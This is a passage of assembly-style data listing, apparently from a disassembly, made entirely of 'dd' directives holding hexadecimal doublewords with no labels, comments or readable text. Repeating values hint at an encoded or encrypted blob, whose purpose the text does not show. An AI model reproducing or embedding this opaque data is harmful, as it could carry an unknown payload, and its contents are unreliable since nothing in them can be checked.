89B51A60h, 0B8321566h, 2233AD36h, 0D6331566h, 883CFC3Eh dd 8C581566h, 0C232BBFDh, 79F41F0Eh, 0E49F6406h, 0D02F905Dh dd 0A73D137Ch, 1132155Fh, 1DB79E9Eh, 2434067Fh, 223FFD9Fh dd 2A541566h, 7E88619Dh, 8C386Bh, 0CA18EB64h, 11321561h dd 31BF2612h, 1B795E02h, 0DD657438h, 2DB93162h, 8CF69642h dd 0F87EC06h, 3B72E07h, 1E340FF2h, 88322AE3h, 0C1B9E066h dd 24213CCFh, 11359669h, 0D3D1566h, 44321567h, 0DD8A459Ah dd 38CDEA99h, 73D4DA1h, 4432157Ah, 22249369h, 0DB1566h dd 0F2321566h, 923443D1h, 0ACD30230h, 0E98267C4h, 0FDDD90D4h dd 0D017905Dh, 0A73D137Ch, 11321544h, 8832138Fh, 5B7C1866h dd 0A9BD47F2h, 22400E3h, 89B91A60h, 0B8321566h, 2233A833h dd 0FE331566h, 0D09E03Bh, 4228814Fh, 220E9069h, 0F9521566h dd 8832156Fh, 7585AE45h, 3A89774h, 706BECA6h, 0A4A390EDh dd 4B521375h, 7353D3D9h, 113214DFh, 0D1FD1466h, 44229F69h dd 29DB1566h, 0B6321566h, 0C720F8Eh, 0D87725D1h, 0A7093F3Bh dd 1728814Bh, 880F9069h, 4BCB1566h, 223214E9h, 94B9EC66h dd 8E2105EBh, 4432058Fh, 0A2892B66h, 83518BE0h, 89A6B1DDh dd 0ED7B40A0h, 9860EC94h, 11321567h, 6168C267h, 4432156Dh dd 735A78E2h, 0D0FB3FB7h, 0B310D67Dh, 5EA624E3h, 1B71A60h dd 0F8321566h, 8832156Bh, 0F02CDA3Ah, 4E495C91h, 0A59C12E8h dd 0E9B79E21h, 0B134064Eh, 0DDCDAF34h, 0C61BEA99h, 0D09ED3Ch dd 4228815Fh, 221F9069h, 9A521566h, 0D06175A5h, 13A9F2E7h dd 43536A26h, 207F90EDh, 8521375h, 24529B8Ah, 22B31A07h dd 70321566h, 778F4007h, 6DCDEA99h, 19CA4889h, 0BA620E3h dd 0E4B71A60h, 4B321566h, 223206EEh, 0D6B97566h, 88321C8Eh dd 5D1AA366h, 8E86A84Dh, 706CCC7Eh, 9F4BA8E5h, 4B321375h dd 223253E3h, 0FBB1A66h, 0E8321566h, 44329A69h, 32DA1566h dd 0D6321566h, 49C509FEh, 328335DFh, 60CEF22h, 4B9FBB58h dd 59B79E07h, 0AD340647h, 2232156Ch, 309B7390h, 2D17FAD3h dd 8C5A9873h, 0AB321553h, 15CD315Ah, 0BC74A42h, 5729C4DBh dd 0A63D1560h, 1132150Dh, 88B31A06h, 24321566h, 22329D69h dd 70531566h, 1CF3905Dh, 0C13D137Ch, 22321529h, 11399869h dd 8EDB1566h, 0AE321566h, 0E9128609h, 4CB79ED2h, 7134066Ch dd 42BF1A06h, 2D321566h, 113215E7h, 0A48B7366h, 0FC62748Dh dd 42D77A70h, 1437F5A7h dd 6B600827h, 0AD6AD267h, 22321569h, 8656D000h, 213117Ah dd 4620A4E2h, 0A13468AAh, 22D08DBh, 0C3D1560h, 44321499h dd 2232128Fh, 0DB892D66h, 2BBC85FBh, 44BBA8E5h, 2D321375h dd 1133F3E2h, 8838FC66h, 442F1566h, 850B84DFh, 3C6C54B3h dd 1C97905Dh, 0C13D137Ch, 22321552h, 113A9169h, 74521566h dd 2118FCDFh, 0A7B9743Dh, 17210B13h, 88219E69h, 4ADB1566h dd 77321566h, 0E3683064h, 5DCA0CA1h, 0B56EFF3Ah, 26B14225h dd 0ED6D1442h, 1C87905Dh, 0C13D137Ch, 2232155Eh, 4CB79E93h dd 0E8340679h, 44321D8Fh, 0AE28C966h, 0D5EEB0B4h, 0E9E19E4Ch dd 2B9AE35h, 0C9B3183Bh, 1C6F53EAh, 6169CA4Fh, 4432156Ah dd 0BF4D8B9h, 28221256h, 157AA0B6h, 0D09B905Dh, 0A73D137Ch dd 1132155Eh, 15B79E9Ah, 0AD340666h, 22321575h, 0BD1D796Ch dd 9613C523h, 0FAB4B570h, 8AF94189h, 0F8AA17C0h, 8832156Ch dd 0A10AF93Dh, 4D983B74h, 0A8634DB5h, 88321567h, 0B16BDA67h dd 0B68B905Dh, 943D137Ch, 88321526h, 42B11A06h, 0A3321566h dd 4B9F6891h, 883CFC33h, 20151566h, 40616D8Fh, 42BE44BBh dd 0FE3D7F30h, 9DB37507h, 448B482Bh, 7043DBE6h, 847B90EDh dd 13CB1375h, 60684A34h, 7752C2E1h, 0E91B07DEh, 0D08F905Dh dd 0A73D137Ch, 1132155Eh, 883E9869h, 0C73D1566h, 22321560h dd 11329269h, 0DB91566h, 4221369Fh, 0AA3D4506h, 11321566h dd 0AD65AA38h, 115321A2h, 0DDCDEADBh, 4CDD3C99h, 88309669h dd 25521566h, 0B69F905Dh, 943D137Ch, 88321554h, 0ADB79E93h dd 2D34067Bh, 113212E2h, 89B81A66h, 0B1321566h, 0DDCDAC37h dd 0DE1BEA99h, 0CB80753Fh, 4432198Fh, 1C9B7866h, 5B3E11BFh dd 4DA2CF8Ch, 0C1097488h, 242881D7h, 11079069h, 3C71566h dd 573DD8E3h, 28BF1A60h, 0F8321566h, 88321563h, 0CFD5D577h dd 0DD8F4032h, 38CDEA99h, 0F3D4889h, 44321568h, 22321C8Fh dd 5966EB66h, 0D8ACF64h, 0C7CE6BDBh, 31329CDBh, 953D1560h dd 88321FB1h, 442B9669h, 0CB521566h, 11321569h, 0B2D31EDFh dd 720CE985h, 0B3F490D5h, 776BBF4Eh, 0B353CDEDh, 5EA628E3h dd 13B71A60h, 0E8321566h, 7DB79E9Fh, 0AD340644h, 2232156Dh dd 9635B8FCh, 6D2DF029h, 12A09A49h, 0DDCDEAD8h, 4FC53C99h dd 88321E8Fh, 94C76566h, 16427A97h, 9C519A00h, 1CE3905Dh dd 0C13D137Ch, 22321500h, 0C4837506h, 3537406h, 0C1B974A1h dd 2421142Bh, 113E9A69h, 8FDB1566h, 0A3321566h, 1F208F7Bh dd 0AA61C365h, 85A10486h, 0A7F3C691h, 0A3E9E261h, 0E32ED88Dh dd 0C4F19476h, 6D757C4Ah, 0AB3D4EB9h, 1132156Ah, 88349869h dd 0C03D1566h, 22321566h, 1132048Fh, 25330866h, 11531B5Ah dd 95CC4C2Ch, 4B49BA9Ch, 0D09910Eh, 42288127h, 227B9069h dd 77521566h, 1D1EC6E7h, 44379369h, 0A3541566h, 70697885h dd 9B4F90EDh, 49DB1375h, 0E5321566h, 0EEE1F1F9h, 865121Bh dd 2A37F764h, 0DDCDAB30h, 0E61BEA99h, 8823FC38h, 0EB51566h dd 88494A75h, 2F91D6CCh, 0B31BE675h, 7F75A802h, 38A650E3h dd 51B71A60h, 61321566h, 44321574h, 0BDB3A8C0h, 4D11E258h dd 0C718B2DEh, 0AAEBADA8h, 0A7B92F0Bh, 1721008Bh, 88321D8Fh dd 0F12A8D66h, 112625E6h, 0EE8946CBh, 0A1CDEA99h, 0C13D4EB9h dd 22321561h, 0C8B97306h, 0B353C1ECh, 5EA65CE3h, 13B71A60h dd 0ED321566h, 0AD8B90EDh, 0CF521375h, 20B01A9Eh, 47321566h dd 67B5743Fh, 0BBCDF8E7h, 0CDB5EA99h, 90547593h, 87202A84h dd 443213E7h, 0D6E59466h, 7059B2DBh, 1C7F905Dh, 0C13D137Ch dd 223215ECh, 11279E69h, 87521566h, 443215EEh, 2235FD66h dd 2FED1566h, 0F648F851h, 4B534DFAh, 223214E8h, 0ACB1E966h dd 8E21021Fh, 1FB71A66h, 2D321566h, 113219E0h, 8EB81A66h dd 4B321566h, 223215ECh, 28B79E66h, 6134066Bh, 4432156Eh dd 0B55F18D0h, 47C65309h, 883A9469h, 0CA3D1566h, 22321564h dd 0AF647406h, 77CDEA99h, 4B6CE24Fh, 22320CECh, 1126FC66h dd 3AB81566h, 3A4ADB69h, 0EDB47694h, 65D6777Eh, 0CCAA73Bh dd 0C109E149h, 24288137h, 11649069h, 61CB1566h, 44321577h dd 6EE9087h, 0A83B3992h, 7845097Eh, 95A11B38h, 67B79EF2h dd 7134064Ah, 88319C69h, 0F33D1566h, 43C19EB8h, 1133AF34h dd 5F331566h, 4B52EC3Ch, 0CA52CED9h, 11321576h, 0C7831E0Fh dd 506E8A89h, 80E653A9h, 0A8F9C696h, 0A123AA38h, 255314A7h dd 0B667905Dh, 943D137Ch, 88321538h, 443E9469h, 0AF3D1566h dd 11321560h, 88329669h, 0C7CA1566h, 31256CDBh, 943D1560h dd 88321558h, 443F9D69h, 0A3521566h, 15D88481h, 48B37346h dd 0CF5382DEh, 3132A4E3h, 0AA61ED60h, 88321567h, 4B69CA67h dd 223200E2h, 1122FC66h, 31021566h, 61BD4D87h, 29B40263h dd 0F1A5092h, 0D097FB9h, 4228813Fh, 22039069h, 9AC71566h dd 9B16C4E3h, 4CBF1A60h, 42321566h, 0A954B3D6h, 0DE531D81h dd 0BBCDEAD8h, 7CC53C99h, 113F9169h, 80DB1566h, 14321566h dd 8B4DE36Ah, 2A9F397Eh, 92A648E3h, 32B71A60h, 2D321566h dd 11320DE2h, 9AB51A66h, 0AD321566h, 2232156Bh, 0F1FB3E33h dd 89CB2C3Dh, 0B7FB8917h, 0D3B79E19h, 1E34067Ah, 883212EBh dd 0F33D7566h, 43F9A3A8h, 111B9C69h, 60521566h, 4432156Fh dd 5973FDB2h, 8FA77042h, 9BDB4A96h, 0C1321566h, 0F2E9BB5h dd 1CACDD91h, 9F6A8CA3h, 57764005h, 1353E6F7h, 20CB24A9h dd 47B554A9h, 44359A69h, 0AE3D1566h, 11321567h, 0EDB72E9Fh dd 4B340FF2h, 22324CE3h, 0ACB1E966h, 8E21021Fh, 0FB71A66h dd 0DE321566h, 352F90EDh, 0B3D1375h, 4432157Ch, 22269E69h dd 1EDB1566h, 1E321566h, 1C17AD9Ch, 0E37686B5h, 39587C2Eh dd 35673ABBh, 0BBCDEA99h, 426FFA4Fh, 113CFC06h, 0ADD61566h dd 0C078FBAAh, 0C708EE97h, 97B3A77Ah, 353E0ECh, 0C10974A8h dd 24288107h, 11569069h, 0EE521566h, 2575E4E7h, 2232078Eh dd 47C95866h, 79C14E44h, 6C0D0B6Eh, 4CA0693Eh, 9025E224h dd 0CA8A06ACh, 0C7534B53h, 31256CDBh, 943D1560h, 88321554h dd 1B79E93h, 0CB340671h, 1132156Ah, 54F345A8h, 0D910EDA6h dd 0AEE82BDEh, 0EECDAB30h, 7F1BEA99h, 443EFC38h, 503B1566h dd 0C2EFD183h, 0A18D52A0h, 0C1092A69h, 2428810Fh, 116F9069h dd 85DB1566h, 0C7321566h, 0BFB26D16h, 0D5FBF2B8h, 8B8ADDA7h dd 44389E69h, 44521566h, 0B0D7E3E7h, 0E98BD8E6h, 763B90EDh dd 2DDB1375h, 71321566h, 9848C245h, 0CC32D314h, 4D79BDF0h dd 0A962D24Ch, 88321567h, 0AD6AD267h, 22321575h, 9F0C91BFh dd 0C6EE3287h, 3897A73Eh, 0B0374B4Fh, 2A4C291Bh, 92A678E3h dd 7AB71A60h, 42321566h, 0A63D4F30h, 0DB974AEh, 422137E3h dd 2232078Fh, 3B7EFE66h, 0EB3AA9C0h, 0C0680A32h, 0BFEA4367h dd 472B6A40h, 77CDEAD8h, 1AC53C99h, 2232198Fh, 0A3291F66h dd 0B3938090h, 29CCDADAh, 53B72E2Ch, 1E340FF2h, 8832B7E3h dd 0CB3D7566h, 22321570h, 1132048Fh, 755FD666h, 0ECADCE29h dd 0D320136Ch, 0DDF2E5DFh, 0E8533BDDh, 4432138Fh, 0D5B17866h dd 0F8389428h, 88321574h, 742A3889h, 2304BFAh, 4AC35C6h dd 0D591AD8Eh, 0CF538AF1h, 313230E3h, 1120FC60h, 4F4A1566h dd 36ABCD9h, 9E81AAF7h, 9467FFE1h, 0C07BC76Eh, 4432078Fh dd 5DD53166h, 0DBE15476h dd 9A505363h, 2D4E70F3h, 74213910h, 113214D8h, 0D6C51466h dd 442F9369h, 0A53D1566h, 11321571h, 8832078Fh, 1200E466h dd 64D6B16Dh, 2C266F05h, 74E51083h, 7FD01234h, 38A660E3h dd 2EB71A60h, 0E8321566h, 24E1AA69h, 0A63DC6ECh, 11321566h dd 85DB7407h, 0DF321566h, 0D6723FD8h, 33DC211Eh, 2F10BF25h dd 6B9390EDh, 2BDB1375h, 0D3321566h, 0D7D38305h, 0B4189B1Fh dd 2233AB30h, 0E6331566h, 0D09ED38h, 4228811Fh, 22709069h dd 9AC71566h, 9B29D0E3h, 0C13D7560h, 22321560h, 11329469h dd 0E9CB1566h, 1374E2E1h, 2D6C4A30h, 11320AE8h, 0BB8A7566h dd 0AD29ED0Ch, 22321575h, 0DEDAF711h, 3A316CACh, 0D29E1F48h dd 84A728E2h, 70A46FB3h, 1C4F905Dh, 0C13D137Ch, 22321526h dd 0D3B97306h, 8832188Eh, 3CC0F066h, 42B9D674h, 95A2661Ch dd 3654F7E1h, 25689BB1h, 3F0790EDh, 77521375h, 954C5EDh dd 25597096h, 6369631h, 943D4A67h, 8832156Eh, 44309F69h dd 43521566h, 85B3905Dh, 0D3D137Ch, 44321524h, 0A7B9ED9Fh dd 17210273h, 8832018Fh, 0B0517D66h, 7FEBCC7Bh, 33B7223h dd 0AEBFDBACh, 0BF9F1349h, 0DD8B4490h, 38CDEA99h, 9BDB4CA9h dd 0F6321566h, 245FB7CDh, 0D2C22795h, 7A67CCC7h, 3345DC6Eh dd 0A7092283h, 172881E3h, 885A9069h, 0AC521566h, 22321577h dd 0DA885654h, 7015D840h, 0F08C08C5h, 37BA80B1h, 113DFD54h dd 63581566h, 22832545h, 0A31CDE44h, 0B1BC5A8Ch, 0E96D4EA8h dd 44379169h, 0A9521566h, 9A53E9BEh, 9B02ECE3h, 0CF547560h dd 0AEF594A8h, 707420F1h, 77CDAC37h, 8B1BEA99h, 2DBA1A3Fh dd 0F8321566h, 8832156Ch, 0F9EBEC47h, 5F98310Ch, 94096E22h dd 8E211B07h, 44099069h, 33DB1566h, 45321566h, 3805B70h dd 0E0068B57h, 0D2C88B59h, 8FA423FDh, 833F90EDh, 42DB1375h dd 6B321566h, 0E3864E0Bh, 778C43F7h, 6DCDEA99h, 24DB4B91h dd 321566h, 0CB2A7351h, 0CDB72EFEh, 2D340FF2h, 11322DE3h dd 8838FC66h, 0D29B1566h, 7AB4C7B9h, 0B0ED2E1Ch, 93DF90EDh dd 0CE521375h, 99617496h, 11321567h, 6169CA67h, 44321577h dd 55E83E16h, 0FCCA1428h, 2442E223h, 5A743CF2h, 0E7B72E8Bh dd 1E340FF2h, 88327BE3h, 4420FC66h, 0B5CD1566h, 4D4B6877h dd 61E456C8h, 7B6AA44Ch, 32E02CC4h, 0DC8F969Ah, 88340FF2h dd 443D9069h, 0A1C71566h, 22860DBh, 0C3D1560h, 4432155Dh dd 8BB79E9Eh, 1E340644h, 88321AEBh, 41DB7566h, 6E321566h dd 54A48ACFh, 0E9B7DBE6h, 4433AC37h, 0ED331566h, 1123FC3Fh dd 4D5D1566h, 0FD813F45h, 6AD39CF4h, 0F895986Fh, 0B37793AFh dd 5EA6DCE3h, 0B2B71A60h, 0E8321566h, 1CFFA8E5h, 4B32137Ch dd 22325EE3h, 8B91A66h, 61321566h, 44321572h, 3F0E5F10h dd 0D9473E77h, 5A9AA28Ah, 0D093D14Fh, 36D3082Ah, 0B47A8E5h dd 87321375h, 443243E2h, 99547566h, 776557B6h, 0E96DCAEDh dd 44321A8Fh, 116B9C66h, 58883CA6h, 32951D06h, 39E47A41h dd 387F90EDh, 77521375h, 0E960B7D9h, 0BBCDA833h, 0CD1BEA99h dd 0DFB9753Bh, 88321E8Eh, 0D3D55966h, 0EAF829EFh, 9F25881Dh dd 8832128Eh, 46856366h, 6F1A6FD9h, 2A534A3Fh, 92A698E3h dd 7CB71A60h, 0DB321566h, 1C2B90EDh, 86DB1375h, 0C8321566h dd 0C7B5888Dh, 0C5D6D7A1h, 0E3837ADEh, 458C4314h, 23321566h dd 9B3D4B91h, 88321560h, 0CE31A506h, 0A8527497h, 0FBB373B2h dd 0B353F9B7h, 5EA684E3h, 4B71A60h, 0E8321566h, 0A3CF90EDh dd 0C33D1375h, 22321569h, 11321F8Fh, 0D9C76666h, 844D02B2h dd 73E1E0E3h, 0EECDEADFh, 0D1FD3C99h, 0D1B72E9Eh, 2D340FF2h dd 11325DE3h, 3547566h, 2543A298h, 6D790EDh, 16DB1375h dd 14321566h, 4039E326h, 98601880h, 1ED70C6Fh, 4AB3CF91h dd 9C5101h, 47FFFFE7h, 0E3B34B05h, 5E57D0F6h, 4B68C267h dd 223219E6h, 17B11A66h, 87321566h, 443215EAh, 0BBB72E66h dd 1E340FF2h, 883205E3h, 0C1B9EC66h, 24211BC7h, 4E604293h dd 5FB5573Ch, 0D9B72E93h, 2D340FF2h, 113252E3h, 8823FC66h dd 70D21566h, 0EB2AA9F0h, 9DD98801h, 5DE5E12Bh, 0AD5384D7h dd 22321572h, 0A06D3C49h, 0B731211Dh, 0E06B0581h, 0C93E46A4h dd 40D5A37Bh, 0AC0F90EDh, 0CF3D1375h, 22321567h, 0EE894693h dd 0A1CDEA99h, 25524EB9h, 0B693905Dh, 943D137Ch, 88321521h dd 44209F69h, 2FDB1566h, 49321566h, 4CEAA27Ah, 123EA540h dd 0D0432A5Bh, 33C790EDh, 73D1375h, 44321563h, 0D1B97306h dd 933D7507h, 88321563h, 0AFE39400h, 9C64740Dh, 11321567h dd 716CE267h, 44339D69h, 29CE1566h, 5B61A99h, 87321566h dd 44321DECh, 20B81A66h, 71321566h, 65BEFC07h, 7FCEEA99h dd 311224E3h, 34B71A60h, 0E8321566h, 0C7F8959Eh, 43CB7507h dd 6DA90EBh, 53D137Ch, 44321567h, 41DBEC93h, 71CDEA8Bh dd 1188D7EDh, 2511F82Bh, 9EB905Dh, 943D1375h, 88321525h dd 4BA0A406h, 0A153EBD9h, 0BA1F8DBh, 0D3D1460h, 44321549h dd 2238FC9Ah, 0FCAE1566h, 3AB60867h, 1F64D75Fh, 295590EBh dd 1FDB153Fh, 76321566h, 14E7431h, 533B6106h, 0D5D1D772h dd 653EFCA5h, 7FCEEA99h, 38A1E8E3h, 7B61A60h, 0E8321566h dd 2854AA00h, 43E8AA69h, 8533905Dh, 0D3D137Ch, 4432156Bh dd 0CED6FC9Ah, 9D3DEA99h, 88321567h, 40DE9493h, 0AB321566h dd 118F314Ah, 1321566h, 0C63D4888h, 22321567h, 10CC969Fh dd 89339069h, 7FCB1566h, 38A1E4E3h, 5FB71A60h, 61321566h dd 44321569h, 0FB4F4F9h, 0DB97ED6Fh, 0E976A621h, 4BC0ABD5h dd 22321DE1h, 13B81A66h, 0E8321566h, 80B79807h, 0CB324DE1h dd 1132156Dh, 0A5ECF69Ah, 0EB8FA937h, 0DB20D1E2h, 0EEDE648Fh dd 82B31A99h, 24321566h, 3236CBE7h, 7052690Eh, 7DB72E07h dd 4B340FF5h, 223256E3h, 0F952EC66h, 88321561h, 0E43C781Ch dd 0DED8C128h, 0CE8D1A3Ch, 0B2B79807h, 4B324DEEh, 223214ECh dd 0ED52ED66h, 641EFC07h, 0ADC7EA99h, 22321572h, 372E8CE7h dd 450C20FEh, 882201C9h, 26531A0Dh, 0B9725B32h, 1BCB905Dh dd 0C13D137Ch, 2232152Dh, 11339969h, 70CE1566h, 0CC4D90EBh dd 4452153Eh, 3179DEE7h, 8832108Eh, 0C610B266h, 33DB7D6Ch dd 0D0321566h, 0BA0B57F6h, 45B5ACC8h, 360B9991h, 6B4C25ACh dd 43DB7438h, 24CDEA8Dh, 22309969h, 4A621566h, 70DEDBE7h dd 14530D48h, 6F1639E7h, 9A5E3C56h, 4CB33162h, 44321562h dd 0B025863h, 4B21A0Ah, 87321566h, 44321AE9h, 2238FC66h dd 80D61566h, 910A55D8h, 4754953Dh, 0C2B37306h, 7752A35Fh dd 0E953D6EDh, 7B5DAA31h, 0E5B34FFDh, 210F4B2Fh, 3664FAB7h dd 24C2288Ch, 0A36CE247h, 8EC12FA1h, 0D7CC9CD9h, 442E9269h dd 2D521566h, 0DAE3D1h, 6F321566h, 3BCE2741h, 0CDD7CA79h dd 56766CB3h, 0F11C863Bh, 0B239743Fh, 22119069h, 9C3D1566h dd 8832156Bh, 44321D8Fh, 0E6649066h, 0E88D0272h, 62D9FC39h dd 42DBEA99h, 4321566h, 813917ADh, 0BCB9454Ah, 40F69442h dd 0CB321566h, 11321568h, 68DA3859h, 0C6AD60E6h, 0BC917603h dd 0A4BB1C90h, 8E2134C3h, 6E8A4706h, 787A5463h, 11319B69h dd 67B21566h, 0F1BB743Ch, 24212463h, 0D9B97306h, 8832018Fh dd 0BD44C966h, 1FCF2E76h, 989DADF2h, 56365642h, 0C7B901EEh dd 1CB27493h, 0FFB71A8Fh dd 87321566h, 44321DE7h, 20BD1A66h, 71321566h, 8944EA07h dd 0E41639E7h, 7D0A8A2Fh, 6AAAAC37h, 97B2C04h, 0E725E87h dd 0BFF39455h, 1035486Fh, 33524CA9h, 2572B1D2h, 22321A8Fh dd 21931D66h, 0D96F98E9h, 6B6A946Ah, 3A703C1Eh, 3DD9407h dd 90B382Bh, 0D56FB089h, 0A3C51479h, 806FB0A1h, 9AF59479h dd 0AD0B382Bh, 22321574h, 3DDEBAB3h, 0B02275A7h, 74A0E32Fh dd 0DD9CF5F0h, 4763EE88h, 761621E7h, 1D3CB65Ch, 18CCE4E7h dd 0DABB1BC5h, 3260E93Fh, 3D1021C1h, 7769F7E7h, 0E3B3421Ch dd 0D9104165h, 0A6D6E7h, 0F13378A9h, 55A6FEE7h, 876878A9h dd 443209E7h, 0E2887566h, 0F835AC32h, 88321576h, 86C647A5h dd 45163865h, 0A006A428h, 0F949C944h, 0E18F2E07h, 2D340647h dd 11321FE4h, 7309ED66h, 44359369h, 0CBC71566h, 0EECDFCF7h dd 7D8F9E9Fh, 24340678h, 222B9769h, 5DB1566h, 321566h dd 0FBAC7FA9h, 0CBF5380h, 7642CD35h, 0BF5C94ACh, 259F3F7Bh dd 383790A1h, 11321375h, 61521566h, 44321576h, 6D110D20h dd 0AD4D7647h, 2E4602B5h, 0B6B27230h, 2232138Fh, 0CBFDA66h dd 0E9678C9Eh, 1E617506h, 0AB53E2EDh, 20310D3h, 883EFC60h dd 25921566h, 0C3B87991h, 84116BEDh, 5C71ECAh, 5F2720FBh dd 0C8B37560h, 3BCA8376h, 88321B8Eh, 0EE7C0B66h, 0F53A369h dd 40ABF9CCh, 0D7E7BD96h, 0ADE1EA07h, 22321577h, 40B51C44h dd 7B7B6AB0h, 40694899h, 8263BC50h, 1EF21E4Dh, 88322BE2h dd 4423FC66h, 6E281566h, 8E86734Dh, 182100ADh, 10CA7782h dd 429943F4h, 11319369h, 373D1566h, 41B01A91h, 44321566h dd 443ECBE7h, 88A0FC07h, 4CDB1566h, 0CA321566h, 609825B0h dd 50CBA11h, 5CBF98FBh, 2222FC60h, 8F211566h, 26FB5400h dd 0F88DA1A0h, 4C0FEAF5h, 0C2CD91FDh, 77779669h, 4BDBEA99h dd 0C6321566h, 62A5540Ah, 5ED5B0D9h, 4BDA3723h, 97B9FF62h dd 17212463h, 8832108Fh, 65C83C66h, 0DB529C46h, 5A8D7306h dd 0E9E89EE5h, 41879C07h, 0CB34067Ch, 11321563h, 642DC3D7h dd 86AF98DAh, 0DE340CF1h, 0F852C699h, 88321575h, 1B403E8Eh dd 7958AFE6h, 8835DADDh, 21F12D0Ch, 250D47C2h, 39790EDh dd 71CA1375h, 8832138Eh, 785E6466h, 2DFC7F39h, 113215EAh dd 8B8D4C66h, 2518518Bh, 133790EFh, 0F9521375h, 88321574h dd 4AAB26A6h, 0EE4C3FB2h, 0E493927Fh, 0B55879B1h, 8EB3CB0Dh dd 14432CEEh, 30E19538h, 8EDB7407h, 5B321566h, 2D2AC717h dd 0F90C95D2h, 88E19069h, 55DB1566h, 10321566h, 78EB98B5h dd 192513AFh, 44B17DC9h, 0C2F134C9h, 11321A8Fh, 7867F266h dd 4F0BB80Ah, 0A676FD07h, 108F33DDh, 873FA8E5h, 4B321375h dd 223289E2h, 19B31A66h, 87321566h, 443217E0h, 4A537566h dd 11321290h, 3D1619EFh, 1DDA9D8Fh, 22339F69h, 0BBC71566h dd 0D01A7D9Ah, 48BB1566h, 0ABC39C42h, 1ADB4CAEh, 55321566h dd 0CC5D4CFBh, 9DAC7FA9h, 0B31F5380h, 0A1548338h, 0E689469Eh dd 23548338h, 1ECB4EBEh, 88321BEEh, 443BFC66h, 0DB491566h dd 8EC479C5h, 0DF36577Bh, 443211D9h, 496C3866h, 0E91B556Eh dd 80594B63h, 0EFC74A26h, 750FAF06h, 0AA5454F8h, 61538CC9h dd 443217FBh, 2232198Fh, 63D74D66h, 57B6BD2Fh, 0BBFE5116h dd 0F6AF981Ah, 1E340F9Dh, 88321DE4h, 46BE1A66h, 42321566h dd 1EE1EA07h, 883219E6h, 42BA1A66h, 2D321566h, 113215E8h dd 0CDAF9866h, 24340E76h, 0F046AA00h, 0CDFD9400h, 5BCD74D5h dd 443B9E69h, 44521566h, 888EFFE7h, 83534F34h, 76B71AA6h dd 0CB321566h, 11321576h, 10D36C3Eh, 5FDE1940h, 9D44EF2Ah dd 0B67D6C28h, 8832418Fh, 56B21A66h, 2D321566h, 113219E0h dd 8835FC66h, 0CA1566h, 841174F2h, 14B796BDh, 8D340657h dd 44321B8Fh, 0A5131E66h, 6A21331Fh, 0EB2AE58h, 0ADA076F8h dd 0DDCDEBE7h, 1DA4506h, 0A1321566h, 0C35BCA95h, 0B7700197h dd 8232E2B3h, 0D0C6F285h, 8A8D1A3Fh, 1AF9807h, 1E340E74h dd 883214E8h, 97CDE066h, 223C9B69h, 18DB1566h, 0DC321566h dd 4CFE4AE8h, 8F8D3EF5h, 943DD56Dh, 8832153Bh, 44229F69h dd 29DB1566h, 0F8321566h, 973D1CDCh, 12A4AB09h, 0CB52C2B1h dd 11321561h, 0EAE34CA1h, 0ADF49AC5h, 22321563h, 0B1930D42h dd 0CDDB743Dh, 24321566h, 2232058Eh, 41BD4866h, 3FA7813Eh dd 17D72BDh, 0E89D7677h, 11B41A3Fh, 0D2321566h, 44349869h dd 0E9B31566h, 5DAB3637h, 8C894607h, 45321566h, 62E9EBCh dd 0E936D1E5h, 8833258Fh, 45B11A66h, 0DB321566h, 9CBF88EBh dd 252137Eh, 0FA5442A9h, 436C8B97h, 923DC699h, 88321554h dd 44389969h, 27DB1566h, 6D321566h, 64276F2Ch, 7537A0EDh dd 2D521375h, 113213E4h, 0EDD09466h, 2510A26Eh, 221FBD8Fh dd 12B11A66h, 0E8321566h, 0C9B9749Ah, 24212463h, 11299169h dd 0E8521566h, 4420FC07h, 0BA441566h, 5F773FC3h, 84FE3641h dd 80CE84D4h, 586655ACh, 14879C07h, 87340657h, 44321DE9h dd 20BE1A66h, 71321566h, 98B41A07h, 24321566h, 2232108Eh dd 792D2766h, 876C6075h, 1253C2D9h, 0F67914D8h, 0E8DC947Bh dd 9216526h, 63EC090h, 42F49406h, 103EEB9Ah, 791B4B97h dd 470FFCE7h, 4AC76243h, 11321566h, 0C1611E7h, 6D7E9B75h dd 0EB3316Ah, 9F219142h, 87524C2Ah, 443211EBh, 648B7366h dd 16DB754Fh, 9E321566h, 0F74696Ah, 4353437Bh, 3C8DD3E7h dd 66B37643h, 63A1A29h, 0E4B3DB4Fh, 533A1A29h, 0A58DFBE7h dd 0C03D7643h, 22321567h, 0E996E69Ah, 77CEBD8Fh, 4439FC99h dd 87421566h, 721F85D4h, 0A9AC810Dh, 8BAF98FAh, 0D7340CFFh dd 9D3DC699h, 88321567h, 57997D93h, 1EBB1566h, 19DB4D42h dd 0AD321566h, 2AA583B7h, 0CB67AF0Bh, 11321563h, 0A8F9595Ch dd 0B1B73E75h, 0CB340678h, 11321577h, 56543080h, 16A7541Ch dd 3F8EA420h, 0C39C0F7h, 11B79CF0h, 0AD34064Fh, 22321561h dd 0A492EE21h, 3607D7Eh, 572CE0E3h, 34B31A60h, 0F8321566h dd 88321577h, 7FDD7E8Ah, 97A8EB94h, 84CEC5ECh, 0DEC839C9h dd 0A3BB42E5h, 2236D2E7h, 0FEB31566h, 88321562h, 181629E1h dd 2D1629EFh, 113201EDh, 80DB7566h, 0C0321566h, 0D1B8039Eh dd 772F5310h, 0DD37C5E7h, 7C727D07h, 26BB1566h, 1BE1A42h dd 0E8321566h, 4432138Eh, 56D2C966h, 4AA956EFh, 553FDD5h dd 5DA9F8EBh, 23B61A60h, 0E8321566h, 3CEC499h, 573E04E3h dd 0F2B87560h, 0AF31C7E7h, 0DD5322B2h, 81B3F0EFh, 22321562h dd 9636F8E5h, 16E314Ah, 48DB3162h, 0D321566h, 53131997h dd 93D9E06h, 13226C9Fh, 0E5B3F2EFh, 11321562h, 8836FAE7h dd 78B51566h, 1EBB4942h, 0D9B27542h, 88E1956Ah, 4B627507h dd 223215E0h, 0AF544D66h, 35386D2h, 572CE0E3h, 2221FC60h dd 53F81566h, 0D28525Dh, 5E13E121h, 0E34B6D39h, 8DE3DECDh dd 68BB454Fh, 44321163h, 22363866h, 15B51566h, 8CBB4942h dd 49B11A42h, 42321566h, 0D2F59400h, 88BB1A94h, 25321566h dd 0BF0298EBh, 7152137Fh, 84DB7406h, 94321566h, 0BF416875h dd 0D03A6FF9h, 0E9E32E42h, 44321B8Fh, 58462E66h, 3AD53579h dd 0C2FE5495h, 250C76CCh, 0A63DC499h, 11321570h, 8832048Fh dd 3033A766h, 7F8BA11Eh, 8D7E7083h, 344F07BCh, 0A8B18B4Fh dd 6369C62h, 0C81621E7h dd 0D26AE407h, 25EBE7E7h, 0CB524D97h, 1132156Ah, 0FB9D3744h dd 0AEA1CCD1h, 